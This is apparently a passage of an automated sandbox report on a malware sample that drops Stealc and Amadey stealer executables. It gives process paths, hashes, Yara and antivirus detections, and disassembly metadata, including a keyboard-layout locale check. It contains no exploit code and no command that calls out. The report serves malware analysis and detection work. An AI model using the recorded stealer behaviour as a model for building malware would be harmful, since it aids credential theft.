2024-12-27 07:45:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:44:47
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\Idau8QuYa3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Idau8QuYa3.exe"
Imagebase:	0x410000
File size:	1'906'688 bytes
MD5 hash:	0F02B493551249EBEC8E7F1F77D27E03
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:45:25
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe"
Imagebase:	0xdf0000
File size:	5'242'880 bytes
MD5 hash:	17D940E3012D0A3589F9DCB08CB8AACB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2098971560.000000000084E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2099361572.0000000000DF1000.00000040.00000001.01000000.00000006.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:45:31
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe"
Imagebase:	0x830000
File size:	3'241'472 bytes
MD5 hash:	0A0F11159921131E89D2E3203E99B1F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:45:34
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x1c0000
File size:	3'241'472 bytes
MD5 hash:	0A0F11159921131E89D2E3203E99B1F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2190926949.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:45:34
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x1c0000
File size:	3'241'472 bytes
MD5 hash:	0A0F11159921131E89D2E3203E99B1F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.2195295392.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:46:00
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x1c0000
File size:	3'241'472 bytes
MD5 hash:	0A0F11159921131E89D2E3203E99B1F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:46:33
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe"
Imagebase:	0x7ff6d80d0000
File size:	2'282'496 bytes
MD5 hash:	71B104246AC3F43D058E7C67E8B07DEF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 61%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	02:46:33
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe
Imagebase:	0x12639c70000
File size:	1'645'056 bytes
MD5 hash:	92A9F111C456947F39B59EB9F13E4BF6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000B.00000002.2934116612.000001263BAF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000B.00000002.2945928441.00000126543C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 61%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	02:46:46
Start date:	27/12/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"
Imagebase:	0x7ff707450000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00E74804 Relevance: 1.4, Strings: 1, Instructions: 189COMMON

Download Yara Rule

Strings

.COM, xrefs: 00E7483F

Memory Dump Source

Source File: 00000000.00000003.2004947060.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, Offset: 00E66000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_e66000_Idau8QuYa3.jbxd

Similarity

API ID:
String ID: .COM
API String ID: 0-1828280943
Opcode ID: 6a0b0252de4063c7a20b4b76968906fbc9c717028a44aaa12de6d23b6911688e
Instruction ID: 49019e541c10e251d2b43b710374d6171cc32f053ada029fe02f926936c2b74b
Opcode Fuzzy Hash: 6a0b0252de4063c7a20b4b76968906fbc9c717028a44aaa12de6d23b6911688e
Instruction Fuzzy Hash: 3A6158A104E7C96FD7178B7048B94A2BFB4AE5320430EC6CFC4D98B8A3E3159956D322

Function 00E7509F Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2004947060.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, Offset: 00E66000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_e66000_Idau8QuYa3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3289f983d3a24358486f9e5eff0e9389880b2f5163cf36c120ea4a88b0c1174c
Instruction ID: 92d5ce8e1dff1b9a0c5f9ca11e6e621062bd21eb90e196420eecde2bd9cd645f
Opcode Fuzzy Hash: 3289f983d3a24358486f9e5eff0e9389880b2f5163cf36c120ea4a88b0c1174c
Instruction Fuzzy Hash: 1D02CE5244EBC14FC7178B70497A951BFB1692320534ECACFC8DA8F8E3E3899549D366

Function 00E84EE3 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2004947060.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, Offset: 00E66000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_e66000_Idau8QuYa3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14758c703147d9c2d6cdfef5517cd32916492ddcbc0aa9c5d3501583bf9b9753
Instruction ID: bafcb0422fece7bb97c439379c45bfefdd63b7385731d3fd04be9529e68ef028
Opcode Fuzzy Hash: 14758c703147d9c2d6cdfef5517cd32916492ddcbc0aa9c5d3501583bf9b9753
Instruction Fuzzy Hash: AF515A7244E7D28FC7139B74C8646927FB5AF1332471E46DBD0C48F0A3D2695A1AC722

Analysis Process: 15E9YUDKFQLPC478BWEBATDC87A.exePID: 8012, Parent PID: 7332COMMON

Execution Graph

Execution Coverage:	7.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.2%
Total number of Nodes:	740
Total number of Limit Nodes:	24

Executed Functions

Function 0086652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,0086652A,?,?,?,?,?,00867661), ref: 00866567

Memory Dump Source

Source File: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp, Offset: 00830000, based on PE: true

Associated: 00000005.00000002.2160637206.0000000000830000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160697348.0000000000892000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160807355.0000000000899000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160831819.000000000089B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160856440.00000000008A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161028362.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161119155.0000000000A01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161179800.0000000000A16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161203993.0000000000A17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161336501.0000000000A2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161357184.0000000000A2E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161416537.0000000000A35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161452256.0000000000A36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161473586.0000000000A3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161493408.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161513480.0000000000A41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161574223.0000000000A43000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161598198.0000000000A54000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161621007.0000000000A55000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161644224.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161667253.0000000000A68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161693139.0000000000A82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161715683.0000000000A83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161737867.0000000000A8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161760562.0000000000A91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161782020.0000000000A92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161803344.0000000000A94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161824620.0000000000A95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161846246.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161869880.0000000000AA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161891177.0000000000AA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161911630.0000000000AA4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161933238.0000000000AA7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161955681.0000000000AA8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161977414.0000000000AAE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161999394.0000000000AB6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162021418.0000000000ABA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162042037.0000000000ABB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162062756.0000000000ABC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162084025.0000000000ABD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162107201.0000000000AC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162130676.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162152325.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162179126.0000000000AF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000AF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162324003.0000000000B30000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162349618.0000000000B31000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162375203.0000000000B32000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162401902.0000000000B37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162423166.0000000000B39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162446952.0000000000B47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162469075.0000000000B48000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_830000_15E9YUDKFQLPC478BWEBATDC87A.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 296cf7f84cb6c15ffc7e370c7cb2084ea20daea70dde991221a9d725c5b1a152
Instruction ID: 65ad0d18288c69da2439cef684b414b6076e11b60fb7cc70c870dd893ee614ac
Opcode Fuzzy Hash: 296cf7f84cb6c15ffc7e370c7cb2084ea20daea70dde991221a9d725c5b1a152
Instruction Fuzzy Hash: 3FE08C30044988AFDF26BB18CA4ED493FA9FF52745F124800F81AC6232DB25EE91CA91

Function 04AB04F6 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2164942023.0000000004AB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4ab0000_15E9YUDKFQLPC478BWEBATDC87A.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a54afd12e750dcb36990fca409e0e514daf7b156310c32feec5485e05ff2af4
Instruction ID: 18c5979c9b0c0c822ab6bc2a2e585fc75b29477946863903144af65d8d9c5cad
Opcode Fuzzy Hash: 8a54afd12e750dcb36990fca409e0e514daf7b156310c32feec5485e05ff2af4
Instruction Fuzzy Hash: 3BE07EFB20C0247D7041D1823F28EFB53ADE0D6B31331C96BF846C0806E2894E9E6172

Function 00835C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Keyboard Layout\Preload, xrefs: 00836054
00000423, xrefs: 008360FA
00000419, xrefs: 00836098
00000422, xrefs: 008360C9
0000043f, xrefs: 0083612B

Memory Dump Source

Source File: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp, Offset: 00830000, based on PE: true

Associated: 00000005.00000002.2160637206.0000000000830000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160697348.0000000000892000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160807355.0000000000899000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160831819.000000000089B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160856440.00000000008A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161028362.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161119155.0000000000A01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161179800.0000000000A16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161203993.0000000000A17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161336501.0000000000A2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161357184.0000000000A2E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161416537.0000000000A35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161452256.0000000000A36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161473586.0000000000A3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161493408.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161513480.0000000000A41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161574223.0000000000A43000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161598198.0000000000A54000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161621007.0000000000A55000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161644224.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161667253.0000000000A68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161693139.0000000000A82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161715683.0000000000A83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161737867.0000000000A8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161760562.0000000000A91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161782020.0000000000A92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161803344.0000000000A94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161824620.0000000000A95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161846246.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161869880.0000000000AA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161891177.0000000000AA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161911630.0000000000AA4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161933238.0000000000AA7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161955681.0000000000AA8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161977414.0000000000AAE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161999394.0000000000AB6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162021418.0000000000ABA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162042037.0000000000ABB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162062756.0000000000ABC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162084025.0000000000ABD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162107201.0000000000AC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162130676.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162152325.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162179126.0000000000AF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000AF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162324003.0000000000B30000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162349618.0000000000B31000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162375203.0000000000B32000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162401902.0000000000B37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162423166.0000000000B39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162446952.0000000000B47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162469075.0000000000B48000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_830000_15E9YUDKFQLPC478BWEBATDC87A.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 79597cc3284bff3e2b046196327da2c3f6ab412caf9fe9c562fe5327d53ea1d9
Instruction ID: 9b4278f4152ba66cc343c644c97e4379dd40435e68a2a19cec660555bbab6c98
Opcode Fuzzy Hash: 79597cc3284bff3e2b046196327da2c3f6ab412caf9fe9c562fe5327d53ea1d9
Instruction Fuzzy Hash: E8F1E07090025CABEB24DF58CC84BDEBBB9FF45304F5042A9E518E7281DB74AA84CB95

Function 00839BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0083A963
CreateMutexA.KERNEL32(00000000,00000000,00893254), ref: 0083A981

Memory Dump Source

Source File: 00000005.00000002.2160697348.0000000000831000.00000040.00000001.01000000.00000008.sdmp, Offset: 00830000, based on PE: true

Associated: 00000005.00000002.2160637206.0000000000830000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160697348.0000000000892000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160807355.0000000000899000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160831819.000000000089B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2160856440.00000000008A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161028362.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161119155.0000000000A01000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161179800.0000000000A16000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161203993.0000000000A17000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161255240.0000000000A21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161336501.0000000000A2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161357184.0000000000A2E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161416537.0000000000A35000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161452256.0000000000A36000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161473586.0000000000A3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161493408.0000000000A3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161513480.0000000000A41000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161574223.0000000000A43000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161598198.0000000000A54000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161621007.0000000000A55000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161644224.0000000000A5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161667253.0000000000A68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161693139.0000000000A82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161715683.0000000000A83000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161737867.0000000000A8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161760562.0000000000A91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161782020.0000000000A92000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161803344.0000000000A94000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161824620.0000000000A95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161846246.0000000000A98000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161869880.0000000000AA1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161891177.0000000000AA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161911630.0000000000AA4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161933238.0000000000AA7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161955681.0000000000AA8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161977414.0000000000AAE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2161999394.0000000000AB6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162021418.0000000000ABA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162042037.0000000000ABB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162062756.0000000000ABC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162084025.0000000000ABD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162107201.0000000000AC3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162130676.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162152325.0000000000AD3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162179126.0000000000AF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000AF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162201677.0000000000B01000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162324003.0000000000B30000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162349618.0000000000B31000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162375203.0000000000B32000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162401902.0000000000B37000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162423166.0000000000B39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162446952.0000000000B47000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2162469075.0000000000B48000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

